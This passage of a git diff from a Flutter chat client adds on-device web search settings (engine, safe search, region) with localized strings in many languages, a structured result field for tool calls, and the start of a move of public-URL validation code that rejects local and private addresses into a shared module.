itemBuilder: (context, index) { + final code = codes[index]; + return AdaptiveSelectionTile( + title: code == kWebSearchRegionAuto + ? l10n.webSearchRegionAuto + : _regionName(l10n, SearchRegion(code)), + selected: code == currentCode, + onTap: () => Navigator.of(sheetContext).pop(code), + ); + }, + ), + ); + if (selected != null) { + await ref.read(appSettingsProvider.notifier).setWebSearchRegion(selected); + } + } +} + +String _engineLabel(AppLocalizations l10n, WebSearchEngineChoice choice) => + choice.engine?.displayName ?? l10n.webSearchEngineAuto; + +String _safeSearchLabel(AppLocalizations l10n, SafeSearch level) => + switch (level) { + SafeSearch.strict => l10n.webSearchSafeSearchStrict, + SafeSearch.moderate => l10n.webSearchSafeSearchModerate, + SafeSearch.off => l10n.webSearchSafeSearchOff, + }; + +String _regionName(AppLocalizations l10n, SearchRegion region) { + if (region.isWorldwide) return l10n.webSearchRegionWorldwide; + for (final option in kWebSearchRegions) { + if (option.code == region.code) return option.name; + } + return region.code; +} diff --git a/lib/l10n/app_cs.arb b/lib/l10n/app_cs.arb index 709ce6ef8..23012b3ce 100644 --- a/lib/l10n/app_cs.arb +++ b/lib/l10n/app_cs.arb @@ -4978,5 +4978,20 @@ "chatTaskPending": "Čeká", "chatTaskInProgress": "Probíhá", "chatTaskCompleted": "Dokončeno", - "chatTaskCancelled": "Zrušeno" + "chatTaskCancelled": "Zrušeno", + "webSearchSettingsFooterAuto": "Používají modely Direct bez vlastního vyhledávání na webu. Vyhledávání probíhá z tohoto zařízení: dotazy jdou na DuckDuckGo, a pokud neodpoví, na Brave, Bing, Mojeek nebo Wikipedii. Stránky, které model čte, se také načítají z tohoto zařízení.", + "webSearchSettingsFooterEngine": "Používají modely Direct bez vlastního vyhledávání na webu. Vyhledávání probíhá z tohoto zařízení a dotazy jdou pouze na {engine}. Stránky, které model čte, se také načítají z tohoto zařízení.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Vyhledávač", + "webSearchEngineAuto": "Automaticky", + "webSearchSafeSearchLabel": "Bezpečné vyhledávání", + "webSearchSafeSearchStrict": "Přísné", + "webSearchSafeSearchModerate": "Střední", + "webSearchSafeSearchOff": "Vypnuto", + "webSearchRegionLabel": "Oblast", + "webSearchRegionAuto": "Podle zařízení", + "webSearchRegionWorldwide": "Celosvětově", + "directModelToolsUnsupported": "Tento model neumí používat nástroje, a proto nemůže vyhledávat na webu. Vypněte vyhledávání na webu a všechny nástroje a zkuste to znovu.", + "directContextCompactionModelCount": "{count, plural, one{{count} model} few{{count} modely} many{{count} modelu} other{{count} modelů}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_de.arb b/lib/l10n/app_de.arb index 12f811651..eb807c781 100644 --- a/lib/l10n/app_de.arb +++ b/lib/l10n/app_de.arb @@ -3323,5 +3323,20 @@ "chatTaskPending": "Ausstehend", "chatTaskInProgress": "In Bearbeitung", "chatTaskCompleted": "Abgeschlossen", - "chatTaskCancelled": "Abgebrochen" + "chatTaskCancelled": "Abgebrochen", + "webSearchSettingsFooterAuto": "Wird von Direct-Modellen ohne eigene Websuche verwendet. Die Suche läuft von diesem Gerät aus: Anfragen gehen an DuckDuckGo und, wenn keine Antwort kommt, an Brave, Bing, Mojeek oder Wikipedia. Seiten, die das Modell liest, werden ebenfalls von diesem Gerät abgerufen.", + "webSearchSettingsFooterEngine": "Wird von Direct-Modellen ohne eigene Websuche verwendet. Die Suche läuft von diesem Gerät aus, und Anfragen gehen nur an {engine}. Seiten, die das Modell liest, werden ebenfalls von diesem Gerät abgerufen.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Suchmaschine", + "webSearchEngineAuto": "Automatisch", + "webSearchSafeSearchLabel": "Sichere Suche", + "webSearchSafeSearchStrict": "Streng", + "webSearchSafeSearchModerate": "Moderat", + "webSearchSafeSearchOff": "Aus", + "webSearchRegionLabel": "Region", + "webSearchRegionAuto": "Wie Gerät", + "webSearchRegionWorldwide": "Weltweit", + "directModelToolsUnsupported": "Dieses Modell kann keine Werkzeuge verwenden und deshalb nicht im Web suchen. Schalte die Websuche und alle Werkzeuge aus und versuche es erneut.", + "directContextCompactionModelCount": "{count, plural, =1{1 Modell} other{{count} Modelle}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_en.arb b/lib/l10n/app_en.arb index 562e8c143..a7375fc18 100644 --- a/lib/l10n/app_en.arb +++ b/lib/l10n/app_en.arb @@ -6108,5 +6108,31 @@ "chatTaskCancelled": "Cancelled", "@chatTaskCancelled": { "description": "Task checklist status for a cancelled task." - } + }, + "webSearchSettingsFooterAuto": "Used by Direct models that don't have their own web search. Searches run from this device: queries go to DuckDuckGo, then to Brave, Bing, Mojeek or Wikipedia if it doesn't answer. Pages the model reads are also fetched from this device.", + "@webSearchSettingsFooterAuto": {"description": "Footer under the on-device web search settings when the engine is Auto; explains where queries and page fetches go."}, + "webSearchSettingsFooterEngine": "Used by Direct models that don't have their own web search. Searches run from this device, and queries go only to {engine}. Pages the model reads are also fetched from this device.", + "@webSearchSettingsFooterEngine": {"description": "Footer under the on-device web search settings when one engine is chosen; {engine} is a brand name such as DuckDuckGo.", "placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Search engine", + "@webSearchEngineLabel": {"description": "Row label for choosing the on-device web search engine."}, + "webSearchEngineAuto": "Auto", + "@webSearchEngineAuto": {"description": "Engine option that tries several search engines in order."}, + "webSearchSafeSearchLabel": "Safe search", + "@webSearchSafeSearchLabel": {"description": "Row label for the adult-content filter used by on-device web search."}, + "webSearchSafeSearchStrict": "Strict", + "@webSearchSafeSearchStrict": {"description": "Safe search level: filter all adult content."}, + "webSearchSafeSearchModerate": "Moderate", + "@webSearchSafeSearchModerate": {"description": "Safe search level: filter explicit images and video."}, + "webSearchSafeSearchOff": "Off", + "@webSearchSafeSearchOff": {"description": "Safe search level: no filtering."}, + "webSearchRegionLabel": "Region", + "@webSearchRegionLabel": {"description": "Row label for the region on-device web search results are biased toward."}, + "webSearchRegionAuto": "Match device", + "@webSearchRegionAuto": {"description": "Region option that follows the device language and country."}, + "webSearchRegionWorldwide": "Worldwide", + "@webSearchRegionWorldwide": {"description": "Region option with no regional bias."}, + "directModelToolsUnsupported": "This model can't use tools, so it can't search the web. Turn off web search and any tools, then try again.", + "@directModelToolsUnsupported": {"description": "Error shown when a Direct model rejects tool definitions, which web search needs."}, + "directContextCompactionModelCount": "{count, plural, =1{1 model} other{{count} models}}", + "@directContextCompactionModelCount": {"description": "Row value on Direct Connections that opens the list of models needing a context limit.", "placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_es.arb b/lib/l10n/app_es.arb index c109c34b5..59302a86e 100644 --- a/lib/l10n/app_es.arb +++ b/lib/l10n/app_es.arb @@ -3323,5 +3323,20 @@ "chatTaskPending": "Pendiente", "chatTaskInProgress": "En curso", "chatTaskCompleted": "Completada", - "chatTaskCancelled": "Cancelada" + "chatTaskCancelled": "Cancelada", + "webSearchSettingsFooterAuto": "Lo usan los modelos Direct que no tienen búsqueda web propia. Las búsquedas se hacen desde este dispositivo: las consultas van a DuckDuckGo y, si no responde, a Brave, Bing, Mojeek o Wikipedia. Las páginas que lee el modelo también se descargan desde este dispositivo.", + "webSearchSettingsFooterEngine": "Lo usan los modelos Direct que no tienen búsqueda web propia. Las búsquedas se hacen desde este dispositivo y las consultas solo van a {engine}. Las páginas que lee el modelo también se descargan desde este dispositivo.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Motor de búsqueda", + "webSearchEngineAuto": "Automático", + "webSearchSafeSearchLabel": "Búsqueda segura", + "webSearchSafeSearchStrict": "Estricta", + "webSearchSafeSearchModerate": "Moderada", + "webSearchSafeSearchOff": "Desactivada", + "webSearchRegionLabel": "Región", + "webSearchRegionAuto": "Igual que el dispositivo", + "webSearchRegionWorldwide": "Todo el mundo", + "directModelToolsUnsupported": "Este modelo no puede usar herramientas, así que no puede buscar en la web. Desactiva la búsqueda web y cualquier herramienta y vuelve a intentarlo.", + "directContextCompactionModelCount": "{count, plural, =1{1 modelo} other{{count} modelos}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_fr.arb b/lib/l10n/app_fr.arb index 01ac775fe..fcbe9adf6 100644 --- a/lib/l10n/app_fr.arb +++ b/lib/l10n/app_fr.arb @@ -3323,5 +3323,20 @@ "chatTaskPending": "En attente", "chatTaskInProgress": "En cours", "chatTaskCompleted": "Terminée", - "chatTaskCancelled": "Annulée" + "chatTaskCancelled": "Annulée", + "webSearchSettingsFooterAuto": "Utilisé par les modèles Direct sans recherche Web intégrée. Les recherches partent de cet appareil : les requêtes sont envoyées à DuckDuckGo, puis à Brave, Bing, Mojeek ou Wikipédia s'il ne répond pas. Les pages lues par le modèle sont aussi récupérées depuis cet appareil.", + "webSearchSettingsFooterEngine": "Utilisé par les modèles Direct sans recherche Web intégrée. Les recherches partent de cet appareil et les requêtes sont envoyées uniquement à {engine}. Les pages lues par le modèle sont aussi récupérées depuis cet appareil.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Moteur de recherche", + "webSearchEngineAuto": "Automatique", + "webSearchSafeSearchLabel": "Recherche sécurisée", + "webSearchSafeSearchStrict": "Stricte", + "webSearchSafeSearchModerate": "Modérée", + "webSearchSafeSearchOff": "Désactivée", + "webSearchRegionLabel": "Région", + "webSearchRegionAuto": "Comme l'appareil", + "webSearchRegionWorldwide": "Monde entier", + "directModelToolsUnsupported": "Ce modèle ne peut pas utiliser d'outils et ne peut donc pas effectuer de recherche sur le Web. Désactivez la recherche Web et tous les outils, puis réessayez.", + "directContextCompactionModelCount": "{count, plural, =1{1 modèle} other{{count} modèles}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_it.arb b/lib/l10n/app_it.arb index 86e2ba3a7..8999d5dd0 100644 --- a/lib/l10n/app_it.arb +++ b/lib/l10n/app_it.arb @@ -3323,5 +3323,20 @@ "chatTaskPending": "In attesa", "chatTaskInProgress": "In corso", "chatTaskCompleted": "Completata", - "chatTaskCancelled": "Annullata" + "chatTaskCancelled": "Annullata", + "webSearchSettingsFooterAuto": "Usato dai modelli Direct senza una ricerca web propria. Le ricerche partono da questo dispositivo: le query vanno a DuckDuckGo e, se non risponde, a Brave, Bing, Mojeek o Wikipedia. Anche le pagine lette dal modello vengono scaricate da questo dispositivo.", + "webSearchSettingsFooterEngine": "Usato dai modelli Direct senza una ricerca web propria. Le ricerche partono da questo dispositivo e le query vanno solo a {engine}. Anche le pagine lette dal modello vengono scaricate da questo dispositivo.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Motore di ricerca", + "webSearchEngineAuto": "Automatico", + "webSearchSafeSearchLabel": "Ricerca sicura", + "webSearchSafeSearchStrict": "Rigorosa", + "webSearchSafeSearchModerate": "Moderata", + "webSearchSafeSearchOff": "Disattivata", + "webSearchRegionLabel": "Regione", + "webSearchRegionAuto": "Come il dispositivo", + "webSearchRegionWorldwide": "Tutto il mondo", + "directModelToolsUnsupported": "Questo modello non può usare strumenti, quindi non può cercare sul web. Disattiva la ricerca web e gli strumenti, poi riprova.", + "directContextCompactionModelCount": "{count, plural, =1{1 modello} other{{count} modelli}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_ja.arb b/lib/l10n/app_ja.arb index b1dcc3af4..399b50312 100644 --- a/lib/l10n/app_ja.arb +++ b/lib/l10n/app_ja.arb @@ -4663,5 +4663,20 @@ "chatTaskPending": "未着手", "chatTaskInProgress": "進行中", "chatTaskCompleted": "完了", - "chatTaskCancelled": "キャンセル済み" + "chatTaskCancelled": "キャンセル済み", + "webSearchSettingsFooterAuto": "独自の Web 検索を持たない Direct モデルで使用されます。検索はこのデバイスから行われ、クエリは DuckDuckGo に送信されます。応答がない場合は Brave、Bing、Mojeek、Wikipedia のいずれかに送信されます。モデルが読むページもこのデバイスから取得されます。", + "webSearchSettingsFooterEngine": "独自の Web 検索を持たない Direct モデルで使用されます。検索はこのデバイスから行われ、クエリは {engine} にのみ送信されます。モデルが読むページもこのデバイスから取得されます。", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "検索エンジン", + "webSearchEngineAuto": "自動", + "webSearchSafeSearchLabel": "セーフサーチ", + "webSearchSafeSearchStrict": "厳しい", + "webSearchSafeSearchModerate": "中程度", + "webSearchSafeSearchOff": "オフ", + "webSearchRegionLabel": "地域", + "webSearchRegionAuto": "デバイスに合わせる", + "webSearchRegionWorldwide": "全世界", + "directModelToolsUnsupported": "このモデルはツールを使用できないため、Web 検索を実行できません。Web 検索とツールをすべてオフにしてから、もう一度お試しください。", + "directContextCompactionModelCount": "{count, plural, other{{count} 個のモデル}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_ko.arb b/lib/l10n/app_ko.arb index 847c2f54d..2d7bcd005 100644 --- a/lib/l10n/app_ko.arb +++ b/lib/l10n/app_ko.arb @@ -3101,5 +3101,20 @@ "chatTaskPending": "대기 중", "chatTaskInProgress": "진행 중", "chatTaskCompleted": "완료", - "chatTaskCancelled": "취소됨" + "chatTaskCancelled": "취소됨", + "webSearchSettingsFooterAuto": "자체 웹 검색이 없는 Direct 모델에서 사용됩니다. 검색은 이 기기에서 실행되며, 검색어는 DuckDuckGo로 전송되고 응답이 없으면 Brave, Bing, Mojeek 또는 Wikipedia로 전송됩니다. 모델이 읽는 페이지도 이 기기에서 가져옵니다.", + "webSearchSettingsFooterEngine": "자체 웹 검색이 없는 Direct 모델에서 사용됩니다. 검색은 이 기기에서 실행되며, 검색어는 {engine}(으)로만 전송됩니다. 모델이 읽는 페이지도 이 기기에서 가져옵니다.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "검색 엔진", + "webSearchEngineAuto": "자동", + "webSearchSafeSearchLabel": "세이프서치", + "webSearchSafeSearchStrict": "엄격", + "webSearchSafeSearchModerate": "보통", + "webSearchSafeSearchOff": "끄기", + "webSearchRegionLabel": "지역", + "webSearchRegionAuto": "기기와 동일", + "webSearchRegionWorldwide": "전 세계", + "directModelToolsUnsupported": "이 모델은 도구를 사용할 수 없어 웹을 검색할 수 없습니다. 웹 검색과 모든 도구를 끈 후 다시 시도하세요.", + "directContextCompactionModelCount": "{count, plural, other{모델 {count}개}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_nl.arb b/lib/l10n/app_nl.arb index 28a397559..e2b4fac44 100644 --- a/lib/l10n/app_nl.arb +++ b/lib/l10n/app_nl.arb @@ -3323,5 +3323,20 @@ "chatTaskPending": "In afwachting", "chatTaskInProgress": "Bezig", "chatTaskCompleted": "Voltooid", - "chatTaskCancelled": "Geannuleerd" + "chatTaskCancelled": "Geannuleerd", + "webSearchSettingsFooterAuto": "Gebruikt door Direct-modellen zonder eigen webzoekfunctie. Zoekopdrachten lopen via dit apparaat: ze gaan naar DuckDuckGo en, als die niet antwoordt, naar Brave, Bing, Mojeek of Wikipedia. Pagina's die het model leest, worden ook via dit apparaat opgehaald.", + "webSearchSettingsFooterEngine": "Gebruikt door Direct-modellen zonder eigen webzoekfunctie. Zoekopdrachten lopen via dit apparaat en gaan alleen naar {engine}. Pagina's die het model leest, worden ook via dit apparaat opgehaald.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Zoekmachine", + "webSearchEngineAuto": "Automatisch", + "webSearchSafeSearchLabel": "Veilig zoeken", + "webSearchSafeSearchStrict": "Streng", + "webSearchSafeSearchModerate": "Gemiddeld", + "webSearchSafeSearchOff": "Uit", + "webSearchRegionLabel": "Regio", + "webSearchRegionAuto": "Zoals apparaat", + "webSearchRegionWorldwide": "Wereldwijd", + "directModelToolsUnsupported": "Dit model kan geen hulpmiddelen gebruiken en kan dus niet op het web zoeken. Zet webzoeken en alle hulpmiddelen uit en probeer het opnieuw.", + "directContextCompactionModelCount": "{count, plural, =1{1 model} other{{count} modellen}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_pl.arb b/lib/l10n/app_pl.arb index f4a9f42d2..e8743019e 100644 --- a/lib/l10n/app_pl.arb +++ b/lib/l10n/app_pl.arb @@ -6488,5 +6488,20 @@ "chatTaskPending": "Oczekujące", "chatTaskInProgress": "W toku", "chatTaskCompleted": "Ukończone", - "chatTaskCancelled": "Anulowane" + "chatTaskCancelled": "Anulowane", + "webSearchSettingsFooterAuto": "Używane przez modele Direct bez własnego wyszukiwania w sieci. Wyszukiwanie odbywa się z tego urządzenia: zapytania trafiają do DuckDuckGo, a jeśli nie odpowie — do Brave, Bing, Mojeek lub Wikipedii. Strony czytane przez model również są pobierane z tego urządzenia.", + "webSearchSettingsFooterEngine": "Używane przez modele Direct bez własnego wyszukiwania w sieci. Wyszukiwanie odbywa się z tego urządzenia, a zapytania trafiają tylko do {engine}. Strony czytane przez model również są pobierane z tego urządzenia.", + "@webSearchSettingsFooterEngine": {"description": "Footer under the on-device web search settings when one engine is chosen; {engine} is a brand name such as DuckDuckGo.", "placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Wyszukiwarka", + "webSearchEngineAuto": "Automatycznie", + "webSearchSafeSearchLabel": "Bezpieczne wyszukiwanie", + "webSearchSafeSearchStrict": "Ścisłe", + "webSearchSafeSearchModerate": "Umiarkowane", + "webSearchSafeSearchOff": "Wyłączone", + "webSearchRegionLabel": "Region", + "webSearchRegionAuto": "Jak urządzenie", + "webSearchRegionWorldwide": "Cały świat", + "directModelToolsUnsupported": "Ten model nie może używać narzędzi, więc nie może przeszukiwać sieci. Wyłącz wyszukiwanie w sieci i wszystkie narzędzia, a następnie spróbuj ponownie.", + "directContextCompactionModelCount": "{count, plural, one{{count} model} few{{count} modele} many{{count} modeli} other{{count} modelu}}", + "@directContextCompactionModelCount": {"description": "Row value on Direct Connections that opens the list of models needing a context limit.", "placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_ru.arb b/lib/l10n/app_ru.arb index 79f8d413d..b1f1e3f47 100644 --- a/lib/l10n/app_ru.arb +++ b/lib/l10n/app_ru.arb @@ -3361,5 +3361,20 @@ "chatTaskPending": "Ожидает", "chatTaskInProgress": "Выполняется", "chatTaskCompleted": "Выполнено", - "chatTaskCancelled": "Отменено" + "chatTaskCancelled": "Отменено", + "webSearchSettingsFooterAuto": "Используется моделями Direct без собственного веб-поиска. Поиск выполняется с этого устройства: запросы отправляются в DuckDuckGo, а если он не отвечает — в Brave, Bing, Mojeek или Википедию. Страницы, которые читает модель, тоже загружаются с этого устройства.", + "webSearchSettingsFooterEngine": "Используется моделями Direct без собственного веб-поиска. Поиск выполняется с этого устройства, а запросы отправляются только в {engine}. Страницы, которые читает модель, тоже загружаются с этого устройства.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Поисковая система", + "webSearchEngineAuto": "Автоматически", + "webSearchSafeSearchLabel": "Безопасный поиск", + "webSearchSafeSearchStrict": "Строгий", + "webSearchSafeSearchModerate": "Умеренный", + "webSearchSafeSearchOff": "Выключен", + "webSearchRegionLabel": "Регион", + "webSearchRegionAuto": "Как на устройстве", + "webSearchRegionWorldwide": "Весь мир", + "directModelToolsUnsupported": "Эта модель не умеет использовать инструменты, поэтому не может искать в интернете. Отключите веб-поиск и все инструменты, затем повторите попытку.", + "directContextCompactionModelCount": "{count, plural, one{{count} модель} few{{count} модели} many{{count} моделей} other{{count} модели}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_sk.arb b/lib/l10n/app_sk.arb index dc193a4bc..0b0d85379 100644 --- a/lib/l10n/app_sk.arb +++ b/lib/l10n/app_sk.arb @@ -4978,5 +4978,20 @@ "chatTaskPending": "Čaká", "chatTaskInProgress": "Prebieha", "chatTaskCompleted": "Dokončené", - "chatTaskCancelled": "Zrušené" + "chatTaskCancelled": "Zrušené", + "webSearchSettingsFooterAuto": "Používajú modely Direct bez vlastného vyhľadávania na webe. Vyhľadávanie prebieha z tohto zariadenia: dopyty idú do DuckDuckGo, a ak neodpovie, do Brave, Bing, Mojeek alebo Wikipédie. Stránky, ktoré model číta, sa tiež načítavajú z tohto zariadenia.", + "webSearchSettingsFooterEngine": "Používajú modely Direct bez vlastného vyhľadávania na webe. Vyhľadávanie prebieha z tohto zariadenia a dopyty idú iba do {engine}. Stránky, ktoré model číta, sa tiež načítavajú z tohto zariadenia.", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "Vyhľadávač", + "webSearchEngineAuto": "Automaticky", + "webSearchSafeSearchLabel": "Bezpečné vyhľadávanie", + "webSearchSafeSearchStrict": "Prísne", + "webSearchSafeSearchModerate": "Stredné", + "webSearchSafeSearchOff": "Vypnuté", + "webSearchRegionLabel": "Oblasť", + "webSearchRegionAuto": "Podľa zariadenia", + "webSearchRegionWorldwide": "Celosvetovo", + "directModelToolsUnsupported": "Tento model nevie používať nástroje, a preto nemôže vyhľadávať na webe. Vypnite vyhľadávanie na webe a všetky nástroje a skúste to znova.", + "directContextCompactionModelCount": "{count, plural, one{{count} model} few{{count} modely} many{{count} modelu} other{{count} modelov}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_zh.arb b/lib/l10n/app_zh.arb index e3e72dc25..6bcf5691d 100644 --- a/lib/l10n/app_zh.arb +++ b/lib/l10n/app_zh.arb @@ -3323,5 +3323,20 @@ "chatTaskPending": "待处理", "chatTaskInProgress": "进行中", "chatTaskCompleted": "已完成", - "chatTaskCancelled": "已取消" + "chatTaskCancelled": "已取消", + "webSearchSettingsFooterAuto": "供没有自带网页搜索的 Direct 模型使用。搜索从此设备发起:查询会发送到 DuckDuckGo,若无响应则发送到 Brave、Bing、Mojeek 或维基百科。模型读取的网页也从此设备获取。", + "webSearchSettingsFooterEngine": "供没有自带网页搜索的 Direct 模型使用。搜索从此设备发起,查询只会发送到 {engine}。模型读取的网页也从此设备获取。", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "搜索引擎", + "webSearchEngineAuto": "自动", + "webSearchSafeSearchLabel": "安全搜索", + "webSearchSafeSearchStrict": "严格", + "webSearchSafeSearchModerate": "适中", + "webSearchSafeSearchOff": "关闭", + "webSearchRegionLabel": "地区", + "webSearchRegionAuto": "与设备一致", + "webSearchRegionWorldwide": "全球", + "directModelToolsUnsupported": "此模型无法使用工具,因此无法搜索网页。请关闭网页搜索和所有工具后重试。", + "directContextCompactionModelCount": "{count, plural, other{{count} 个模型}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/l10n/app_zh_Hant.arb b/lib/l10n/app_zh_Hant.arb index 0ba77502f..1ffd0dcea 100644 --- a/lib/l10n/app_zh_Hant.arb +++ b/lib/l10n/app_zh_Hant.arb @@ -3323,5 +3323,20 @@ "chatTaskPending": "待處理", "chatTaskInProgress": "進行中", "chatTaskCompleted": "已完成", - "chatTaskCancelled": "已取消" + "chatTaskCancelled": "已取消", + "webSearchSettingsFooterAuto": "供沒有內建網頁搜索的 Direct 模型使用。搜索從此裝置發出:查詢會傳送到 DuckDuckGo,若無回應則傳送到 Brave、Bing、Mojeek 或維基百科。模型讀取的網頁也從此裝置取得。", + "webSearchSettingsFooterEngine": "供沒有內建網頁搜索的 Direct 模型使用。搜索從此裝置發出,查詢只會傳送到 {engine}。模型讀取的網頁也從此裝置取得。", + "@webSearchSettingsFooterEngine": {"placeholders": {"engine": {"type": "String", "example": "DuckDuckGo"}}}, + "webSearchEngineLabel": "搜索引擎", + "webSearchEngineAuto": "自動", + "webSearchSafeSearchLabel": "安全搜索", + "webSearchSafeSearchStrict": "嚴格", + "webSearchSafeSearchModerate": "適中", + "webSearchSafeSearchOff": "關閉", + "webSearchRegionLabel": "地區", + "webSearchRegionAuto": "與裝置一致", + "webSearchRegionWorldwide": "全球", + "directModelToolsUnsupported": "此模型無法使用工具,因此無法搜索網頁。請關閉網頁搜索和所有工具後重試。", + "directContextCompactionModelCount": "{count, plural, other{{count} 個模型}}", + "@directContextCompactionModelCount": {"placeholders": {"count": {"type": "int", "example": "42"}}} } diff --git a/lib/main.dart b/lib/main.dart index 88a505e4d..503e75b9b 100644 --- a/lib/main.dart +++ b/lib/main.dart @@ -159,7 +159,7 @@ Future _configureUserAgent() async { void _registerBundledLicenses() { LicenseRegistry.addLicense(() async* { final notice = await rootBundle.loadString('THIRD_PARTY_NOTICES.md'); - yield LicenseEntryWithLineBreaks(const ['Open WebUI icon'], notice); + yield LicenseEntryWithLineBreaks(const ['Open WebUI icon', 'ddgs'], notice); }); } diff --git a/packages/conduit_core/lib/features/direct_connections/models/direct_completion.dart b/packages/conduit_core/lib/features/direct_connections/models/direct_completion.dart index 064ea6e7e..762249fee 100644 --- a/packages/conduit_core/lib/features/direct_connections/models/direct_completion.dart +++ b/packages/conduit_core/lib/features/direct_connections/models/direct_completion.dart @@ -139,10 +139,21 @@ final class DirectToolDefinition { } final class DirectToolResult { - const DirectToolResult({required this.text, this.isError = false}); + const DirectToolResult({ + required this.text, + this.isError = false, + this.value, + }); + /// What the model receives. final String text; final bool isError; + + /// Structured form of [text] for the chat UI, e.g. `{'results': [...]}` + /// for `web_search`, which the chat bridge turns into source chips. + /// Adapters report it on [DirectToolCallCompleted.result] in place of + /// [text]; it is never sent to the model. + final Object? value; } enum DirectToolApprovalDecision { allowOnce, allowSession, allowAlways, deny } diff --git a/packages/conduit_core/lib/features/direct_connections/services/ollama_adapter.dart b/packages/conduit_core/lib/features/direct_connections/services/ollama_adapter.dart index a9b43f1a2..abc4f71bc 100644 --- a/packages/conduit_core/lib/features/direct_connections/services/ollama_adapter.dart +++ b/packages/conduit_core/lib/features/direct_connections/services/ollama_adapter.dart @@ -820,7 +820,7 @@ final class OllamaAdapter ]); if (executed == null) break rounds; result = executed; - eventResult = result.text; + eventResult = result.value ?? result.text; } catch (_) { if (cancelToken.isCancelled || transportCancelToken.isCancelled) { diff --git a/packages/conduit_core/lib/features/direct_connections/services/ollama_cloud_tools.dart b/packages/conduit_core/lib/features/direct_connections/services/ollama_cloud_tools.dart index 6b6b54f09..efeed625d 100644 --- a/packages/conduit_core/lib/features/direct_connections/services/ollama_cloud_tools.dart +++ b/packages/conduit_core/lib/features/direct_connections/services/ollama_cloud_tools.dart @@ -1,11 +1,11 @@ import 'dart:convert'; -import 'dart:io'; import 'package:dio/dio.dart'; import 'package:conduit_core/utils/debug_logger.dart'; import 'package:conduit_core/features/direct_connections/services/direct_adapter_helpers.dart'; +import 'package:conduit_core/features/web_search/services/public_web_address.dart'; const int kOllamaCloudMaxSearchResults = 10; const int kOllamaCloudMaxQueryCharacters = 2048; @@ -220,80 +220,9 @@ Future> _webFetch( return {'title': title, 'content': content, 'links': links}; } -String normalizeOllamaCloudPublicWebUrl(String value) { - final uri = Uri.tryParse(value); - if (uri == null) { - throw const FormatException('Web fetch URL is invalid.'); - } - if (!uri.hasScheme) { - throw const FormatException('Web fetch URL must be absolute.'); - } - if (uri.scheme != 'http' && uri.scheme != 'https') { - throw const FormatException('Web fetch URL must use HTTP or HTTPS.'); - } - if (uri.host.isEmpty) { - throw const FormatException('Web fetch URL must include a host.'); - } - if (uri.userInfo.isNotEmpty) { - throw const FormatException( - 'Web fetch URL must not include user information.', - ); - } - // DNS treats a terminal dot as the same absolute hostname. Canonicalize it - // before applying the public-host boundary so `localhost.` and IP literals - // with a terminal dot cannot bypass the checks below. - final host = uri.host.toLowerCase().replaceFirst(RegExp(r'\.+$'), ''); - if (host == 'localhost' || - host.isEmpty || - host.endsWith('.localhost') || - host.endsWith('.local') || - host.endsWith('.internal') || - _isPrivateOrSpecialIpLiteral(host)) { - throw const FormatException('Web fetch requires a public URL.'); - } - return uri.removeFragment().toString(); -} - -bool _isPrivateOrSpecialIpLiteral(String host) { - final address = InternetAddress.tryParse(host); - if (address == null) return false; - final bytes = address.rawAddress; - if (address.type == InternetAddressType.IPv4) { - return _isPrivateOrSpecialIpv4(bytes); - } - final isUnspecified = bytes.every((byte) => byte == 0); - final isLoopback = - bytes.take(15).every((byte) => byte == 0) && bytes.last == 1; - final isUniqueLocal = (bytes[0] & 0xfe) == 0xfc; - final isLinkLocal = bytes[0] == 0xfe && (bytes[1] & 0xc0) == 0x80; - final isMulticast = bytes[0] == 0xff; - final isIpv4Mapped = - bytes.take(10).every((byte) => byte == 0) && - bytes[10] == 0xff && - bytes[11] == 0xff; - final isIpv4Compatible = bytes.take(12).every((byte) => byte == 0); - return 